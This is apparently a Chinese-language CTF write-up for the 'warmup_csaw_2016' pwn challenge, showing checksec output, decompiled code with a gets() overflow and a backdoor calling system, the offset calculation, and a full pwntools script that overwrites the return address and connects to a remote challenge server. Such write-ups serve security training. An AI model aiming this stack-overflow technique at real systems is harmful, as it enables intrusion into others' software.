解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
获得shell或flag:[[劫持返回地址]] && [[调用程序中的system]]
学到的知识:
[[sprintf()]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file warmup_csaw_2016
warmup_csaw_2016: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=warmup_csaw_2016
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 2warmup_csaw_2016
libc版本:
wp借鉴:
核心伪代码分析:
存在利用的的代码:
int sub_40060D()
{
return system("cat flag.txt");
}
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
分析:
分析:有后门函数,利用栈溢出
发现后门函数:
.text:000000000040060D sub_40060D proc near ; DATA XREF: main+34↓o
.text:000000000040060D ; __unwind {
.text:000000000040060D push rbp
.text:000000000040060E mov rbp, rsp
.text:0000000000400611 mov edi, offset command ; "cat flag.txt"
.text:0000000000400616 call _system
.text:000000000040061B pop rbp
.text:000000000040061C retn
.text:000000000040061C ; } // starts at 40060D
发现v5变量距离ebp+8=0x40+8
-0000000000000040 var_40 db 64 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
同时存在危险函数get(),可以实现栈溢出漏洞!
脚本:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
pwnfile='./warmup_csaw_2016'
sh=remote('node4.buuoj.cn',29734)
#sh=process(pwnfile)
backdoor_addr=0x40060d
payload=(0x40+8)*b'a'+p64(backdoor_addr)
#sh.recvuntil("please input")
#gdb.attach(sh)
#pause()
sh.sendline(payload)
sh.interactive()